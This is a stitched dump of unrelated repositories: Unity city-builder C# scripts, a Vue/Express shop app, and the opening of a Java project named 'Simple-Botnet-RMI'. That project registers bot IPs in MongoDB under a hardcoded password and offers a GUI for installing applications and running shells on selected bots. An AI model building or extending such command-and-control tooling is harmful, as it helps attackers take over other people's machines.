yield return new WaitForSeconds(0.25f);
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UITargetSelectPanel.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
namespace CBSK
{
/**
* Panel for showing target select
*/
public class UITargetSelectPanel : UIGamePanel
{
List<AttackButton> attackButtons;
/*TODO Make the attack buttons generated at runtime via data (to allow multiplayer)
*That will remove the need for the refresh method (and this class really), as the UpdateStatus method can be called in OnEnable on the buttons themselves
*/
protected void Refresh()
{
attackButtons = FindObjectsOfType<AttackButton>().ToList();
foreach (AttackButton ab in attackButtons)
{
ab.UpdateStatus();
}
}
protected override IEnumerator DoShow()
{
Refresh();
return base.DoShow();
}
protected override IEnumerator DoReShow()
{
Refresh();
return base.DoReShow();
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/PlaceBuildingButton.cs
using UnityEngine;
using System.Collections;
namespace CBSK
{
/**
* Place the building on the map.
*/
public class PlaceBuildingButton : UIButton
{
public override void Click()
{
if (BuildingManager.ActiveBuilding.State == BuildingState.MOVING)
{
// Moving
if (BuildingModeGrid.GetInstance().CanObjectBePlacedAtPosition(BuildingManager.ActiveBuilding, BuildingManager.ActiveBuilding.MovePosition))
{
if (BuildingManager.GetInstance().MoveBuilding())
{
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}
else
{
// Placing
if (BuildingModeGrid.GetInstance().CanObjectBePlacedAtPosition(BuildingManager.ActiveBuilding, BuildingManager.ActiveBuilding.Position))
{
if (BuildingManager.GetInstance().PlaceBuilding())
{
UIGamePanel.ShowPanel(PanelType.DEFAULT);
}
}
}
}
}
}<file_sep>/CityBuilderStarterKit/Extensions/SimpleBattle/AttackResultsHandler.cs
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
/**
* A simple class for working out the results of a battle activity. It handles the custom reward activity.
*/
namespace CBSK
{
public class AttackResultsHandler : MonoBehaviour
{
/**
* GameObject to send results to.
*/
public UIBattleResultsPanel resultsPanel;
/**
* Handle the battle results calculations
*/
public void CustomReward(Activity activity)
{
List<string> losses = new List<string>();
int goldRewarded = 0;
int resourcesRewarded = 0;
ActivityData type = ActivityManager.GetInstance().GetActivityData(activity.Type);
if (type is AttackActivityData)
{
int troopStrength = 0;
foreach (string s in activity.SupportingIds)
{
OccupantData o = OccupantManager.GetInstance().GetOccupant(s);
if (o != null && o.Type is AttackerOccupantTypeData)
{
troopStrength += ((AttackerOccupantTypeData)o.Type).attack;
}
}
// Calculate result
bool winner = false;
if (troopStrength >= ((AttackActivityData)type).strength * 2)
{
winner = true;
// No losses
}
else if (troopStrength >= ((AttackActivityData)type).strength)
{
if (Random.Range(0, 3) != 0) winner = true;
// 25% chance of losing each unit
losses.AddRange(activity.SupportingIds.Where(o => Random.Range(0, 4) == 0).ToList());
// Ensure at least one troop member survives
if (losses.Count == activity.SupportingIds.Count) losses.RemoveAt(0);
}
else if (troopStrength >= (int)(((AttackActivityData)type).strength * 0.5f))
{
// Calculate losses
if (Random.Range(0, 3) == 0) winner = true;
// 50% chance of losing each unit
losses.AddRange(activity.SupportingIds.Where(o => Random.Range(0, 2) == 0).ToList());
// Ensure at least one troop member survives
if (losses.Count == activity.SupportingIds.Count) losses.RemoveAt(0);
}
else
{
// Lose everyone
losses.AddRange(activity.SupportingIds);
}
// Calculate reward
if (winner)
{
goldRewarded = Random.Range(0, type.rewardAmount + 1);
resourcesRewarded = Random.Range(1, type.rewardAmount + 1) * 100;
}
// Remove occupants
string lossesString = "";
foreach (string o in losses)
{
lossesString += OccupantManager.GetInstance().GetOccupant(o).Type.name + ", ";
}
foreach (string o in losses)
{
OccupantManager.GetInstance().DismissOccupant(o);
}
if (lossesString.Length > 0) lossesString.Substring(0, lossesString.Length - 2);
// Add rewards
ResourceManager.Instance.AddResources(resourcesRewarded);
ResourceManager.Instance.AddGold(goldRewarded);
// Show panel -
UIBattleResultsPanel panel = (UIBattleResultsPanel)FindObjectOfType(typeof(UIBattleResultsPanel));
if (panel != null)
{
panel.InitialiseWithResults(winner, lossesString, goldRewarded, resourcesRewarded);
UIGamePanel.ShowPanel(PanelType.BATTLE_RESULTS);
}
}
}
}
}
<file_sep>/CityBuilderStarterKit/Scripts/UI/Buttons/ChooseTargetButton.cs
using UnityEngine;
using System.Collections.Generic;
namespace CBSK
{
/**
* Button for choosing battle target or acknoledging battle complete.
*/
public class ChooseTargetButton : UIButton
{
public override void Click()
{
List<Activity> activities = ActivityManager.GetInstance().GetActivitiesOfDataClassType(typeof(AttackActivityData));
if (activities == null || activities.Count == 0)
{
UIGamePanel.ShowPanel(PanelType.TARGET_SELECT);
}
else
{
// This button only handles one activity
if (activities[0].PercentageComplete >= 1)
{
ActivityManager.GetInstance().AcknowledgeActivity(activities[0]);
}
}
}
}
}<file_sep>/CityBuilderStarterKit/Scripts/UI/UIColor.cs
using UnityEngine;
namespace CBSK
{
/**
* Various predefined colors and methods for getting colors.
*/
public class UIColor
{
public static Color BUILD = new Color(1.0f, 0.0f, 0.0f, 1.0f);
public static Color DESATURATE = new Color(0.0f, 1.0f, 1.0f, 1.0f);
public static Color PLACING_COLOR = new Color(0.0f, 1.0f, 0.0f, 0.5f);
public static Color PLACING_COLOR_BLOCKED = new Color(1.0f, 0.0f, 0.0f, 0.5f);
public static Color RECRUIT = new Color(1.0f, 0.5f, 0.0f, 1.0f);
public static Color RESOURCE = new Color(0.5f, 1.0f, 0.0f);
public static Color CUSTOM_RESOURCE = new Color(0.5f, 1.0f, 0.0f);
public static Color GOLD = new Color(0.5f, 1.0f, 0.0f);
public static Color GATHER = RESOURCE;
public static Color GetColourForActivityType(string type)
{
switch (type)
{
case ActivityType.GATHER: return GATHER;
case ActivityType.CLEAR: return GATHER;
case ActivityType.BUILD: return BUILD;
case ActivityType.RECRUIT: return RECRUIT;
}
return Color.white;
}
public static Color GetColourForRewardType(RewardType type)
{
switch (type)
{
case RewardType.GOLD: return GOLD;
case RewardType.RESOURCE: return RESOURCE;
case RewardType.CUSTOM_RESOURCE: return CUSTOM_RESOURCE;
}
return Color.white;
}
}
}
| 9f33a646dd24878c780691b8f6bd799d136e3963 | [
"Markdown",
"C#"
] | 91 | C# | projectgames-club/CityBuilderStarterKit | 44c78c8f969bbe2b218178659857ea99df6c3b92 | 53b092f1eab728341a28b0e225fc8a5f3a267a14 |
refs/heads/master | <file_sep>import Vue from 'vue'
import App from './App.vue'
import router from './router'
import store from './store'
import './assets/js/flexble'
import MintUI from 'mint-ui'
import 'mint-ui/lib/style.css'
import VueJsonp from 'vue-jsonp'
import axios from 'axios'
Vue.use(MintUI)
Vue.use(VueJsonp)
Vue.prototype.$axios=axios
Vue.config.productionTip = false
new Vue({
router,
store,
render: h => h(App)
}).$mount('#app')
<file_sep>import Vue from 'vue'
import Router from 'vue-router'
import HomeIndex from './views/HomeIndex'//首页
import Home from './views/Home.vue' //首页
import Kind from './views/Kind' //分类页
import Cart from './views/Cart' //购物车
import Cart1 from './views/Cart1'
import User from './views/User' //我的
import Search from './views/Search'
import SpecialList from './views/SpecialList'
import Singlelist from './views/SingleList'
import Detail from './views/Detail'
import Listimg from './views/Listimg'
import Login from './views/Login'
import Register from './views/Register'
Vue.use(Router)
export default new Router({
mode: 'history',
base: process.env.BASE_URL,
routes: [
{
path:'/',
redirect:{name:'specialList'}
},
{
path: '/home',
name: 'home',
redirect:{name:'homeindex'},
component: Home,
children:[
{
path: '/home/homeindex',
name: 'homeindex',
component: HomeIndex,
redirect:{name:'specialList'},
children:[
{
path:'/home/homeindex/search',
name:'search',
component:Search
},
{
path:'/home/homeindex/speciallist',
name:'specialList',
component:SpecialList,
children:[
]
},
{
path:'/home/homeindex/singlelist',
name:'singlelist',
component:Singlelist
}
]
},
{
path: '/home/kind',
name: 'kind',
component:Kind
},
{
path:'/home/cart',
name:'cart',
component:Cart
},
{
path:'/home/cart1',
name:'cart1',
component:Cart1
},
{
path:'/home/user',
name:'user',
component:User
},
{
path:'/detail',
name:'detail',
component:Detail
},
{
path: '/home/listimg',
name: 'Listimg',
component: Listimg,
},
{
path:"/search",
name:"Search",
component:Search,
},
{
path:'/login',
name:'login',
component:Login,
},
{
path:'/register',
name:'register',
component:Register
}
]
},
]
})
<file_sep>var express = require('express');
var router = express.Router();
// const fs= require("fs");
// const path =require("path");
var data=require("../data.json") ;
/* GET home page. */
router.get('/', function(req, res, next) {
res.render('index', { title: 'Express' });
});
router.get("/data",(req,res,next)=>{
// var data=fs.readFileSync(path.resolve(__dirname),"utf-8");
// res.setHeader("Access-Control-Allow-Origin","*")
res.json(JSON.parse(data))
})
module.exports = router;
<file_sep>export default{
state:{
car:[]
},
getters:{},
actions:{
},
mutations:{
add(state,goods){
if(state.car.length===0){ //购物车为空
state.car.push(goods);
return;
}
this.$router.push({name:'cart',query:this.list})
// localStorage.setItem("car",JSON.stringify(this.list))
console.log(this.list)
},
}
}<file_sep>import Vue from 'vue'
import Vuex from 'vuex'
Vue.use(Vuex)
import cart from './views/cart/cart.js';
import lists from './views/list/list.js';
export default new Vuex.Store({
modules:{
cart,lists
},
state: {
},
mutations: {
},
actions: {
}
})
| 9ea5a5ecd196cf554b9591b8928491783c0e7cce | [
"JavaScript"
] | 5 | JavaScript | houjinmei/houjinmei | 3065fddddcaca968e1e4dae12da79b4e0f968aaf | 7e51dd2f58150b5374b27ab9b44b976b2d0ed3a7 |
refs/heads/master | <repo_name>RexfordK/react-foodRecipeApp<file_sep>/README.md
## This app allows users to search up and select recipes from any food category of their choice.
### Technologies used in this app include:
html
css
javascript
bootstrap
nodeJS
react
react-router
git
<file_sep>/src/components/recipes/Recipes.js
import React from "react";
import { Component } from "react";
import "./Recipes.css";
import "./Recipes_Querry.css";
import { Link } from "react-router-dom";
class Recipes extends Component {
numberWithCommas = x => {
return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
};
spliceRecipeName = recipe => {
let screenWidth = window.innerWidth;
if (screenWidth > 776) {
if (recipe.label.length < 22) {
return recipe.label;
} else {
return recipe.label.substring(0, 22) + "...";
}
} else {
return recipe.label;
}
};
render() {
return (
<div className="container-fluid recipe__con">
<div className="row">
{this.props.recipeData.map((recipeLists, i) => {
let data = recipeLists.recipe;
let recipe = {
ID: data.uri.substring(51, data.uri.length - 1),
label: data.label,
imageURL: data.image,
healthLabels: data.healthLabels,
ingredient: data.ingredientLines,
calories: data.calories,
numberOfServings: data.yield,
dietLabels: data.dietLabels,
prepareMeal: data.url,
prepareMeal2: data.uri
};
return (
<div key={i} className="recipes__box">
<div key={i}>
<img
className="recipe__box-img"
src={recipe.imageURL}
alt={recipe.label}
/>
<div className="recipe__text">
<h5 className="recipes__title">
{this.spliceRecipeName(recipe)}
</h5>
<div className="recipes_sub">
<p className="recipes_subtitle">
<span>
{this.numberWithCommas(Math.floor(recipe.calories)) +
" "}
</span>
<span className="recipes_subtitle_logo">calories</span>
</p>
<p className="recipes_subtitle">
<span>
{recipeLists.recipe.ingredients["length"] + " "}
</span>
<span className="recipes_subtitle_logo">
ingrediants
</span>
</p>
</div>
</div>
<div className="">
<Link
to={{
pathname: "/recipe/" + recipe.ID,
state: { recipe: recipe, fish: true }
}}
className="recipe_buttons recipe_btn_link"
>
View Recipe
</Link>
</div>
</div>
</div>
);
})}
</div>
</div>
);
}
}
export default Recipes;
<file_sep>/src/components/page404/Page404.js
import React from "react";
import "./Page404.css";
const Page404 = () => {
return (
<div className="page404-style">
<h2>Sorry We Don't have that Recipe</h2>
<p>Please check your spelling and search something else.</p>
</div>
)
}
export default Page404;<file_sep>/src/App.js
import React, { Component } from "react";
import "./App.css";
import "./App_Querry.css";
import Form from "./components/form/Form.js";
import Nav from "./components/nav/Nav.js";
import Page404 from "./components/page404/Page404.js";
import smoothscroll from 'smoothscroll-polyfill';
import "normalize.css";
import es6_promise from "es6-promise";
import isomorphic_fetch from "isomorphic-fetch";
import Recipes from "./components/recipes/Recipes.js";
// kick off the polyfill!
smoothscroll.polyfill();
// https://www.food2fork.com/api/search?key=<KEY>&q=shredded%20chicken
const APP_ID = "47953d16";
const APP_KEY = "f77c1ab3af8bd112915bad3fd3b00119";
class App extends Component {
state = {
recipeArray: [],
search: ""
};
getRecipe = e => {
let recipeName;
if (e) {
e.preventDefault();
recipeName = e.target.elements.recipeName.value;
this.setState({search: recipeName},function() {
if (this.state.search === "") {
recipeName = "pizza";
} else {
recipeName = this.state.search;
}
})
} else {
recipeName = "pie";
}
let request =
"https://api.edamam.com/search?q=" +
recipeName +
"&app_id=" +
APP_ID +
"&app_key=" +
APP_KEY +
"&from=0&to=24&count=0";
const api_call = fetch(request)
.then(response => {
if (response.status != 200) {
throw new Error(response.status + " Bad response from server");
}
return response.json();
})
.then(data => {
// this.componentDidMount();
this.setState({ recipeArray: data.hits });
console.log(this.state.recipeArray);
});
};
handleData = () => {
var data = this.state.recipeArray;
var temp = [];
for (var x = 0; x < data.length; x++) {
console.log(data[x].recipe);
temp.push(data[x].recipe);
}
return temp;
};
componentDidMount() {
const json = localStorage.getItem("recipes");
if (json) {
const recipes = JSON.parse(json);
this.setState({ recipeArray: recipes });
} else {
this.getRecipe();
}
}
componentDidUpdate = () => {
const recipesData = JSON.stringify(this.state.recipeArray);
localStorage.setItem("recipes", recipesData);
};
smoothScroll = () => {
window.scroll({ top: 0, left: 0, behavior: 'smooth' });
};
render() {
const arr = this.state.recipeArray;
return (
<div className="App">
<Nav getRecipe={this.getRecipe} smoothScroll={this.smoothScroll}/>
<section className="section">
<Form getRecipe={this.getRecipe} smoothScroll={this.smoothScroll}/>
{this.state.recipeArray.length === 0 && localStorage.getItem("recipes") ? <Page404/> : <Recipes recipeData={this.state.recipeArray} /> }
</section>
</div>
);
}
}
export default App;
<file_sep>/src/components/form/Form.js
import React from "react";
import "./form.css";
class Form extends React.Component {
setFirst = () => {
this.props.setFirst(true);
};
render() {
return (
<form onSubmit={this.props.getRecipe} className="formStyle">
<input type="text" name="recipeName" className="form__input" />
<button
className="form__button"
onClick={e => {
if (this.props.closeNav) {
this.props.closeNav();
this.props.smoothScroll();
}
}}
>
Search
</button>
</form>
);
}
}
export default Form;
<file_sep>/src/components/nav/Nav.js
import React from "react";
import "./Nav.css";
import "./Nav_Querry.css";
import Form from "../form/Form.js";
class Nav extends React.Component {
state = {
isActive: true,
toggleNavClass: ""
};
toggleNavClick = () => {
this.setState(prevState => ({
isActive: !prevState.isActive
}));
console.log(this.state);
this.toggleNav();
};
toggleNav = () => {
if (this.state.isActive) {
this.setState({ toggleNavClass: "is-active" });
} else {
this.setState({ toggleNavClass: "" });
}
};
render() {
return (
<nav className="navbar is-transparent is-fixed-top">
<div className="navbar-brand">
<a className="navbar-item" href="#" onClick={this.props.smoothScroll}>
<h1>
<i className="fas fa-hamburger" />YummyFood
</h1>
</a>
<div
className="navbar-burger burger"
data-target="navbarExternalLinks"
onClick={this.toggleNavClick}
>
<span />
<span />
<span />
</div>
</div>
<div
id="navbarExternalLinks"
className={"navbar-menu " + this.state.toggleNavClass}
>
<div className="navbar-end">
<div className="navbar-item">
<div className="field is-grouped">
<p className="control">
<a
className="bd-tw-button button"
data-social-network="Twitter"
data-social-action="tweet"
data-social-target="http://localhost:4000"
target="_blank"
rel="noopener noreferrer"
href="https://github.com/RexfordK/react-foodRecipeApp"
>
<span className="icon">
<i className="fab fa-github" />
</span>
<span>View On Github</span>
</a>
</p>
<p className="control">
<a
className="button is-primary"
href="https://RkDevelopment.org"
target="_blank"
rel="noopener noreferrer"
>
<span className="icon">
<i className="fas fa-download" />
</span>
<span>RkDevelopment</span>
</a>
</p>
</div>
</div>
</div>
<Form
closeNav={this.toggleNavClick}
getRecipe={this.props.getRecipe}
smoothScroll={this.props.smoothScroll}
/>
</div>
</nav>
);
}
}
export default Nav;
| 7df2adc1b47ba05e8ff794a3dc3ba1d580cbfe04 | [
"Markdown",
"JavaScript"
] | 6 | Markdown | RexfordK/react-foodRecipeApp | 0b4a3b71f8f6be96b9c3200ec448f8406a2710b0 | 83a8919b3ba1282d23484ccd16caa154d34e3578 |
refs/heads/main | <file_sep># BoardingHouseAllocation
## Introduction:-
This is a basic project for allocating boarding houses to student, by following the strategy of First Come First Serve.
## Project Requirement:-
Python-3
## Steps to run:-
python3 /absolute-path/HouseAllocator.py
eg. python3 /home/usr/BoardingHouseAllocation/HouseAllocator.py
## Input:-
1. For Boarding house capacity please provide positive integer in multiple of 4.
2. For Student Registraion please provide input in below format.
reg roll_number class food_preference
1. use space as seprator (no limit of spaces between attributes)
2. reg is case insensitive
3. roll_number should be greater than 0 and less than 10000
4. class is either a or b (case insensitive)
5. food_preference is either v or nv (case insensitive)
3. For process completion please enter exit/fin
<file_sep>import config as cfg
# Initialize boarding house
def initialize_boarding_house():
for cls in cfg.classes:
for food_pref in cfg.food_preferences:
boarding_house = cls.upper() + food_pref.upper()
cfg.boarding_house_allocation[boarding_house] = list()
cfg.boarding_house_allocation[cfg.NOT_ALLOCATED] = list()
# for getting each hostel capacity
def get_each_hostel_capacity():
try:
total_capacity = int(input("Please Insert Total Boarding Capacity: "))
if total_capacity>=0 and total_capacity%4 == 0: # to validate total capacity
return int(total_capacity/4)
else:
print("Please provide initial capacity in multiplication of 4 and a positive number")
return get_each_hostel_capacity()
except Exception as e:
print("Please provide capacity in integer")
return get_each_hostel_capacity() # retrying until user will not give correct capacity value
# validate and queue data received from user
def validate_and_queue_registration_data(registration_data):
student_data = registration_data.split()
if len(student_data) != 4:
print("Number of arguments for registration is not correct, "
"Please give input in mentioned format - reg roll_number class food_preference")
return
if student_data[0].lower() != 'reg':
print("Registration command is wrong please use (reg or Reg) for registration")
return
try:
if int(student_data[1]) > 9999 or int(student_data[1]) < 1:
print("Roll number should be in range of 1 to 9999 and integer value only")
return
except Exception as e:
print("Roll number is not Integer type, Roll number should be in range of 1 to 9999")
return
if student_data[2].lower() not in cfg.classes:
print("Class Name should be A or B (case insensitive)")
return
if student_data[3].lower() not in cfg.food_preferences:
print("Food preferences should be V or NV (case insensitive)")
return
if student_data[1] not in cfg.roll_number_list:
cfg.registration_queue.append(student_data)
cfg.roll_number_list.append(student_data[1])
else:
print("Student is already registered")
# receive input from user until user entered exit or fin
def get_input():
print("Follow given format for student registration (reg roll_number class food_preference)")
# use space as a separator between attributes
registration_data = input("Please Insert New Student Record: ")
while registration_data not in ['fin', 'exit']:
validate_and_queue_registration_data(registration_data)
registration_data = input("Please Insert New Student Record: ")
# to check boarding house is availability
def check_availability(boarding_house_capacity, boarding_house):
if boarding_house_capacity == 0:
return False
if len(cfg.boarding_house_allocation.get(boarding_house)) < boarding_house_capacity:
return True
else:
return False
# returns boarding house name
def get_boarding_house_name(student_record):
return student_record[2].upper() + student_record[3].upper()
# pick students records from queue and allocate boarding house
def assign_boarding_house(boarding_house_capacity):
for student_record in cfg.registration_queue:
boarding_house = get_boarding_house_name(student_record)
if check_availability(boarding_house_capacity, boarding_house):
allocation_list = cfg.boarding_house_allocation.get(boarding_house)
allocation_list.append(int(student_record[1]))
cfg.boarding_house_allocation[boarding_house] = allocation_list
else:
allocation_list = cfg.boarding_house_allocation.get(cfg.NOT_ALLOCATED)
allocation_list.append(int(student_record[1]))
cfg.boarding_house_allocation[cfg.NOT_ALLOCATED] = allocation_list
# for printing boarding allocation details
def show_boarding_allocation():
print("\nBoarding House Allocations : -")
for boarding_house, students_list in cfg.boarding_house_allocation.items():
print(boarding_house,":",students_list)
# entry point for boarding house allocation
def main():
boarding_house_capacity = get_each_hostel_capacity()
get_input()
initialize_boarding_house()
assign_boarding_house(boarding_house_capacity)
show_boarding_allocation()
# invoking main method to start the boarding process
if __name__ == "__main__":
main()
<file_sep>registration_queue = list()
roll_number_list = list()
boarding_house_allocation = dict()
classes = ['a', 'b']
food_preferences = ['v', 'nv']
NOT_ALLOCATED = 'NA' | ad53094db5395ceb3ae0ba42c4f57fb3e2b1b011 | [
"Markdown",
"Python"
] | 3 | Markdown | kapilkumar6305/BoardingHouseAllocation | a7c41248831eefa5c66e7006c631e47b1cfee5f7 | 9069178d11cb657883ddf9bf3bb2a790423ef92f |
refs/heads/main | <file_sep>package schema
import "github.com/facebookincubator/ent"
// Table holds the schema definition for the Table entity.
type Table struct {
ent.Schema
}
// Fields of the Table.
func (Table) Fields() []ent.Field {
return nil
}
// Edges of the Table.
func (Table) Edges() []ent.Edge {
return nil
}
| db77133680acbdb9c55bf32cb6bfdcb49171be70 | [
"Go"
] | 1 | Go | moominzie/final-projects | b029f42e67052ab262953ccc74be3d51b0006830 | eb4cf5d5391d2d25669a339b6d9b154d95a8e73d |
refs/heads/main | <file_sep>import { HttpClient } from '@angular/common/http';
import { Component, OnInit } from '@angular/core';
@Component({
selector: 'app-space-x',
templateUrl: './space-x.component.html',
styleUrls: ['./space-x.component.css']
})
export class SpaceXComponent implements OnInit {
data: any
link = 'https://api.spacexdata.com/v3/missions'
constructor(private http: HttpClient) { }
ngOnInit(): void {
this.http.get(this.link).subscribe((responseData: any) => {
this.data=responseData;
})
}
}
<file_sep>import { FormGroupDirective } from "@angular/forms";
import { Guid } from "guid-typescript";
export class Todo{
constructor(
public id: Guid,
public title: string,
public isComplete: boolean
){
}
}<file_sep>import { Component } from '@angular/core';
import { NgForm } from '@angular/forms';
import { Guid } from "guid-typescript";
import { Todo } from './models/todo.model';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
todos: Todo[] = [
new Todo(Guid.create(), 'Wash Car', false),
new Todo(Guid.create(), 'Buy Groceries', false),
]
onSubmit(form: NgForm){
let todo = new Todo(Guid.create(),form.value.title,false);
this.todos.push(todo);
form.resetForm();
}
onComplete(id: Guid){
let todo = this.todos.filter(x=>x.id === id)[0];
todo.isComplete = true;
}
onDelete(id: Guid){
let todo = this.todos.filter(x=>x.id === id)[0];
let index = this.todos.indexOf(todo,0);
if(index > -1){
this.todos.splice(index,1);
}
}
} | 20855c39a2c98c1f77c48a3c160cfffc3abfd0ee | [
"TypeScript"
] | 3 | TypeScript | rishabh99-rc/To-do-List-with-routing-and-API-fetch | ab2d257df5fe83e42354fc83ffbafdb392cc40ef | e99e74363e7a3deb97c61312e8d6dfc44dc37f6f |
refs/heads/master | <file_sep>#include <iostream>
#include <cmath>
using namespace std;
int main() {
double pi;
double raza;
double h;
float volum;
//pi = 3.1416; da raspuns corect si aici
cout << "Introduceti raza cilindrului: ";
cin >> raza;
cout << "Introduceti inaltimea cilindrului: ";
cin >> h;
pi = 3.1416;
volum = pi * raza * raza * h;
cout << "Volumul este: " << volum << endl;
return 0;
}
| 45a53600e5be6f05de4c245b5838c4b63feabe37 | [
"C++"
] | 1 | C++ | luciana1faur/16.VolumCilindru | 1b62817e9c6dac54a897a4ad6bc71e008eb4983b | 00f4a8a7905eb17bc5d0634afd7adca12c3c75bf |
refs/heads/master | <file_sep>import logo from './logo.svg';
import './App.css';
import React, { useState } from 'react'
// class App extends React.Component{
// constructor(props){
// super(props);
// this.state = {count:0}
// }
// render(){
// return(
// <div>
// You clicked {this.state.count} times <br/>
// <button onClick={() => this.setState({count:this.state.count +1})}>
// Click here
// </button>
// </div>
// )
// }
// }
// same result with useState
function Example() {
const [count, setCount] = useState(0);
const [data, setData] = useState({
lat:"",
lon:""
})
async function getIss(e) {
e.preventDefault();
const data = await fetch("https://api.wheretheiss.at/v1/satellites/25544"
).then((res) => res.json())
.then((data) => data)
setData({lat:data.latitude, lon:data.longitude})
}
return (
<>
<div>
{/* <p>You clicked {count} times</p>
<button onClick = {() => setCount(count + 1)}>
Click here
</button> <br /> */}
<h1>Where is the iss?</h1>
<button className="getiss" onClick={(e) => getIss(e)}>
Click to find out
</button>
<p>longitude: {data.lon}</p>
<p>latitude: {data.lat}</p>
</div>
</>
)
}
export default Example;
| 32a77d656a469013d41a0686a0f766cab80be718 | [
"JavaScript"
] | 1 | JavaScript | shaik1201/iss-app | 5075a0fada71059841ffd7fb5b34ff74a799a8a1 | 105d1488434a8a3fd7ce0b679fdad7e72ce854d4 |
refs/heads/main | <file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package server;
import DBUtils.MongoConnect;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.ServerSocket;
import java.net.Socket;
/**
*
* @author ann52
*/
public class TCPServer extends Thread {
private final int port;
public TCPServer(int port){
this.port = port;
}
@Override
public void run() {
try (ServerSocket serverSocket = new ServerSocket(port)) {
MongoConnect client = new MongoConnect();
client.Connect();
Integer id = client.Read("bot_ip").size() + 1;
System.out.println("Server is listening on port " + port);
while (true) {
Socket socket = serverSocket.accept();
InputStream input = socket.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(input));
String ip = reader.readLine();
client.Write(ip, id);
id++;
reader.close();
input.close();
socket.close();
}
} catch (IOException ex) {
System.out.println("Server exception: " + ex.getMessage());
}
}
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package DBUtils;
import com.mongodb.MongoClient;
import com.mongodb.MongoCommandException;
import com.mongodb.MongoCredential;
import com.mongodb.client.FindIterable;
import com.mongodb.client.MongoCollection;
import com.mongodb.client.MongoDatabase;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.logging.Level;
import java.util.logging.Logger;
import org.bson.Document;
/**
*
* @author ann52
*/
public class MongoConnect {
private MongoDatabase database;
public void Connect(){
MongoClient mongo = new MongoClient( "localhost" , 27017 );
MongoCredential credential;
credential = MongoCredential.createCredential("admin", "Botnet", "Haiclover99".toCharArray());
this.database = mongo.getDatabase("Botnet");
try{
this.database.createCollection("bot_ip");
} catch (MongoCommandException e){
}
Logger mongoLogger = Logger.getLogger("org.mongodb.driver");
mongoLogger.setLevel(Level.SEVERE);
}
public void Write(String ip, Integer id){
String bot_name = "bot" + id.toString();
MongoCollection<Document> collection = this.database.getCollection("bot_ip");
Document doc = new Document(bot_name, ip);
ArrayList<String> list = this.Read("bot_ip");
for (String i : list){
if (ip.equals(i)){
return ;
}
}
collection.insertOne(doc);
}
public ArrayList<String> Read(String collection_name){
MongoCollection<Document> collection = database.getCollection(collection_name);
// Getting the iterable object
FindIterable<Document> iterDoc = collection.find();
int id = 1;
// Getting the iterator
ArrayList<String> ip_list = new ArrayList<>();
for (Document doc : iterDoc) {
String ip = (String) doc.get("bot" + id);
ip_list.add(ip);
id++;
}
return ip_list;
}
}
<file_sep># Simple-Botnet-RMI
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package view;
import DBUtils.MongoConnect;
import java.awt.Color;
import java.awt.Font;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URL;
import java.net.UnknownHostException;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.border.LineBorder;
import model.IBotnet;
import server.BotnetRun;
import server.TCPServer;
import view.RunningStates;
/**
*
* @author dharm
*/
public class ActionFrm extends javax.swing.JFrame {
/**
* Creates new form ActionFrm
*/
private ArrayList <String> selectedIP;
public ActionFrm() {
initComponents();
}
public ActionFrm(ArrayList <String> selectedIP){
initComponents();
this.selectedIP = selectedIP;
String label = "Selected IP: ";
for (int i = 0; i < selectedIP.size(); i++) {
label += selectedIP.get(i) + " \n ";
}
selectedIPLabel.setText(label);
this.getContentPane().setBackground(Color.WHITE);
//custom button
installApplButton.setBackground(Color.WHITE);
installApplButton.setBorder(new LineBorder(Color.BLACK, 3));
installApplButton.setFont(new Font("Montserrat Medium", 400, 15));
installApplButton.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
installApplButton.setBackground(Color.RED);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
installApplButton.setBackground(Color.WHITE);
}
});
//
runShellButton.setBackground(Color.WHITE);
runShellButton.setBorder(new LineBorder(Color.BLACK, 3));
runShellButton.setFont(new Font("Montserrat Medium", 400, 15));
runShellButton.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
runShellButton.setBackground(Color.RED);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
runShellButton.setBackground(Color.WHITE);
}
});
//
backButton.setBackground(Color.WHITE);
backButton.setBorder(new LineBorder(Color.BLACK, 2));
backButton.setFont(new Font("Montserrat Medium", 300, 12));
backButton.addMouseListener(new java.awt.event.MouseAdapter() {
@Override
public void mouseEntered(java.awt.event.MouseEvent evt) {
backButton.setBackground(Color.RED);
}
@Override
public void mouseExited(java.awt.event.MouseEvent evt) {
backButton.setBackground(Color.WHITE);
}
});
}
public static boolean isValidURL(String url)
{
/* Try creating a valid URL */
try {
new URL(url).toURI();
return true;
}
// If there was an Exception
// while creating URL object
catch (Exception e) {
return false;
}
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
selectedIPLabel = new javax.swing.JLabel();
installApplButton = new javax.swing.JButton();
runShellButton = new javax.swing.JButton();
backButton = new javax.swing.JButton();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
selectedIPLabel.setFont(new java.awt.Font("Montserrat", 0, 14)); // NOI18N
selectedIPLabel.setText("Selected IP:");
installApplButton.setIcon(new javax.swing.ImageIcon(getClass().getResource("/asset/install.png"))); // NOI18N
